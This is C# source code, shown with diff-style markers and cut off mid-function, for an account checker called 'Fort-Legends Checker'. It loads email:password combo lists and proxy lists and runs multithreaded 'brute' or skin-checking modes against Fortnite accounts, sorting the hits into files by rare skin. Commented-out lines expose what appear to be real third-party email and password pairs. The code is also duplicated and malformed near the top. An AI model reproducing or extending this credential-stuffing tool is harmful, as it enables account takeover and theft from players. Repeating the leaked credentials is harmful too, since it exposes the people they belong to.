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- using System;
- using System.Collections.Generic;
- using System.Linq;
- using System.Text;
- using System.Threading.Tasks;
- using System.Drawing;
- using System.IO;
- using Console = Colorful.Console;
- using System.Threading;
- using System.Windows.Forms;
- namespace IONCHECKER_v10
- {
- class Program
- {
- static void Main(string[] args)
- {
- namespace IONCHECKER_v10
- {
- class Program
- {
- public static readonly object MessageLock = new object();
- public static Queue<string> Combo = new Queue<string>();
- public static Queue<string> Proxies = new Queue<string>();
- public static string Spam;
- public static string ComboName;
- public static int ProxyType;
- public static int Threads;
- public static int Mode;
- public static int Invalid = 0;
- public static int Errors = 0;
- public static int Valid = 0;
- public static int Counter = 0;
- public static int Old = 0;
- public static int CombosPerMinute = 0;
- public static int Defaults = 0;
- public static int Skinned = 0;
- public static string textfile;
- public static string brute;
- public static string royale;
- public static string stg;
- public static string skull;
- public static string ghoul;
- public static string crackshot;
- public static string merry;
- public static string ginger;
- public static string tracker;
- public static string nog;
- public static string rednose;
- public static string galaxy;
- public static string Ranger { get; private set; }
- public static string code;
- public static string yuletide;
- public static string renegade;
- public static string Aerial { get; private set; }
- public static string recon;
- public static string stw;
- public static string candy;
- public static string you;
- public static string pot;
- public static string scythe;
- public static string raiders;
- public static string black;
- public static string fileName;
- public static string folder = "Results";
- public static string textfile1 = "debug.txt";
- [STAThread]
- static void Main(string[] args)
- {
- Slav auth = new Slav();
- Slav.ToolID = "s4r9eo9yx6";
- if (auth.Authenticate())
- {
- Home();
- }
- else
- {
- auth.ShowDialog();
- }
- }
- public static void Home()
- {
- Console.Title = "Fort-Legends Checker | By Tis & WolfCrawler | Build: 1.0";
- Console.WriteLine();
- Console.WriteLine("██╗ ██████╗ ███╗ ██╗", Color.Red);
- Console.WriteLine("██║██╔═══██╗████╗ ██║", Color.Red);
- Console.WriteLine("██║██║ ██║██╔██╗ ██║", Color.Red);
- Console.WriteLine("██║██║ ██║██║╚██╗██║", Color.Red);
- Console.WriteLine("██║╚██████╔╝██║ ╚████║", Color.Red);
- Console.WriteLine("╚═╝ ╚═════╝ ╚═╝ ╚═══╝", Color.Red);
- Console.WriteLine();
- Console.WriteLine(" ██████╗██╗ ██╗███████╗ ██████╗██╗ ██╗███████╗██████╗ ", Color.White);
- Console.WriteLine("██╔════╝██║ ██║██╔════╝██╔════╝██║ ██╔╝██╔════╝██╔══██╗", Color.White);
- Console.WriteLine("██║ ███████║█████╗ ██║ █████╔╝ █████╗ ██████╔", Color.White);
- Console.WriteLine("██║ ██╔══██║██╔══╝ ██║ ██╔═██╗ ██╔══╝ ██╔══██╗", Color.White);
- Console.WriteLine("╚██████╗██║ ██║███████╗╚██████╗██║ ██╗███████╗██║ ██║", Color.White);
- Console.WriteLine(" ╚═════╝╚═╝ ╚═╝╚══════╝ ╚═════╝╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝\n\n", Color.White);
- Console.WriteLine("Please load your combos!", Color.Cyan);
- LoadCombo();
- Console.WriteLine($"You loaded: {Combo.Count} combos!", Color.Magenta);
- LoadProxies();
- Console.WriteLine($"You loaded: {Proxies.Count} proxies!", Color.Magenta);
- ProxyType:
- Console.WriteLine("HTTPS (0) | Socks4 (1) | Socks5 (2)", Color.Cyan);
- string proxyTypeStr = Console.ReadLine();
- if (proxyTypeStr.Contains("0") || proxyTypeStr.Contains("1") || proxyTypeStr.Contains("2"))
- ProxyType = Int32.Parse(proxyTypeStr);
- else
- {
- goto ProxyType;
- }
- Mode:
- Console.WriteLine("Brute (0) | Skins (1)", Color.Cyan);
- string ModeStr = Console.ReadLine();
- if (ModeStr.Contains("0") || ModeStr.Contains("1"))
- Mode = Int32.Parse(ModeStr);
- else
- {
- goto Mode;
- }
- Thread:
- try
- {
- Console.WriteLine("Amount of threads?", Color.Cyan);
- string threadStr = Console.ReadLine();
- Threads = Int32.Parse(threadStr);
- }
- catch (Exception)
- {
- goto Thread;
- }
- Spam:
- try
- {
- Console.WriteLine("Type Y to see bad and error messages!", Color.Cyan);
- Spam = Console.ReadLine().ToLower();
- }
- catch (Exception)
- {
- goto Spam;
- }
- Console.Clear();
- bool flag = Directory.Exists(string.Format("{0}\\Results", Environment.CurrentDirectory));
- if (!flag)
- {
- Directory.CreateDirectory(string.Format("{0}\\Results", Environment.CurrentDirectory));
- }
- textfile = Path.Combine(folder, string.Format("{0}_Checked_By_FortLegends.txt", ComboName));
- brute = Path.Combine(folder, string.Format("{0}_Checked_By_FortLegends.txt", ComboName));
- royale = Path.Combine(folder, string.Format("{0}_Royale_Bomber.txt", ComboName));
- stg = Path.Combine(folder, string.Format("{0}_Sgt_Clover.txt", ComboName));
- skull = Path.Combine(folder, string.Format("{0}_Skull_Trooper.txt", ComboName));
- ghoul = Path.Combine(folder, string.Format("{0}_Ghoul_Trooper.txt", ComboName));
- crackshot = Path.Combine(folder, string.Format("{0}_Crackshot.txt", ComboName));
- merry = Path.Combine(folder, string.Format("{0}_Merry_Marauder.txt", ComboName));
- ginger = Path.Combine(folder, string.Format("{0}_Ginger_Gunner.txt", ComboName));
- tracker = Path.Combine(folder, string.Format("{0}_Tracker.txt", ComboName));
- black = Path.Combine(folder, string.Format("{0}_Black_Knight.txt", ComboName));
- nog = Path.Combine(folder, string.Format("{0}_Nog_Ops.txt", ComboName));
- rednose = Path.Combine(folder, string.Format("{0}_Red_Nosed_Raider.txt", ComboName));
- galaxy = Path.Combine(folder, string.Format("{0}_Galaxy.txt", ComboName));
- Ranger = Path.Combine(folder, string.Format("{0}_Ranger.txt", ComboName));
- code = Path.Combine(folder, string.Format("{0}_Codename_ELF.txt", ComboName));
- yuletide = Path.Combine(folder, string.Format("{0}_Yuletide_Ranger.txt", ComboName));
- renegade = Path.Combine(folder, string.Format("{0}_Renegade_raider.txt", ComboName));
- Aerial = Path.Combine(folder, string.Format("{0}_Aerial_Assault_Trooper.txt", ComboName));
- recon = Path.Combine(folder, string.Format("{0}_Recon_Expert.txt", ComboName));
- stw = Path.Combine(folder, string.Format("{0}_stw.txt", ComboName));
- candy = Path.Combine(folder, string.Format("{0}_candy_axe.txt", ComboName));
- you = Path.Combine(folder, string.Format("{0}_You_Shouldn't_Have!.txt", ComboName));
- pot = Path.Combine(folder, string.Format("{0}_Pot_o'_Gold.txt", ComboName));
- scythe = Path.Combine(folder, string.Format("{0}_Scythe.txt", ComboName));
- raiders = Path.Combine(folder, string.Format("{0}_Raider's_Revenge.txt", ComboName));
- MultiThreads.StartThreads();
- //Modules.Skin.CheckSkins("bot696969@gmail.com", "bot696969");
- //Modules.Skin.CheckSkins("umgay@gmail.com", "wolfy2005");
- //Modules.Skin.CheckSkins("cherimariepesina@gmail.com", "olivia25");
- //Modules.Brute.CheckBrute("bot696969@gmail.com", "bot696969");
- //Modules.Brute.CheckBrute("umgay@gmail.com", "wolfy2005");
- //Modules.Brute.CheckBrute("cherimariepesina@gmail.com", "olivia25");
- Console.Read();
- }
- public static void LoadCombo()
- {
- OpenFileDialog openFileDialog = new OpenFileDialog();
- openFileDialog.Title = "Load your combos!";
- openFileDialog.Filter = "Combo.txt|*.txt";
- DialogResult dialogResult = openFileDialog.ShowDialog();
- if (dialogResult == DialogResult.OK)
- {
- ComboName = openFileDialog.FileName;
- var ComboList = File.ReadAllLines(openFileDialog.FileName).ToList();
- for (int i = 0; i < ComboList.Count; i++)
- {
- Combo.Enqueue(ComboList[i]);
- }
- }
- if (dialogResult == DialogResult.Cancel)
- {
- LoadCombo();
- }
- }
- public static void LoadProxies()
- {
- OpenFileDialog openFileDialog = new OpenFileDialog();
- openFileDialog.Title = "Load your proxies (press cancel to go proxyless)";
- openFileDialog.Filter = "Combo.txt|*.txt";
- DialogResult dialogResult = openFileDialog.ShowDialog();
- if (dialogResult == DialogResult.OK)
- {
- var proxy = File.ReadAllLines(openFileDialog.FileName).ToList();
- for (int i = 0; i < proxy.Count; i++)
- {
- Program.Proxies.Enqueue(proxy[i]);
- }
- }
- if (dialogResult == DialogResult.Cancel)
- {
- //
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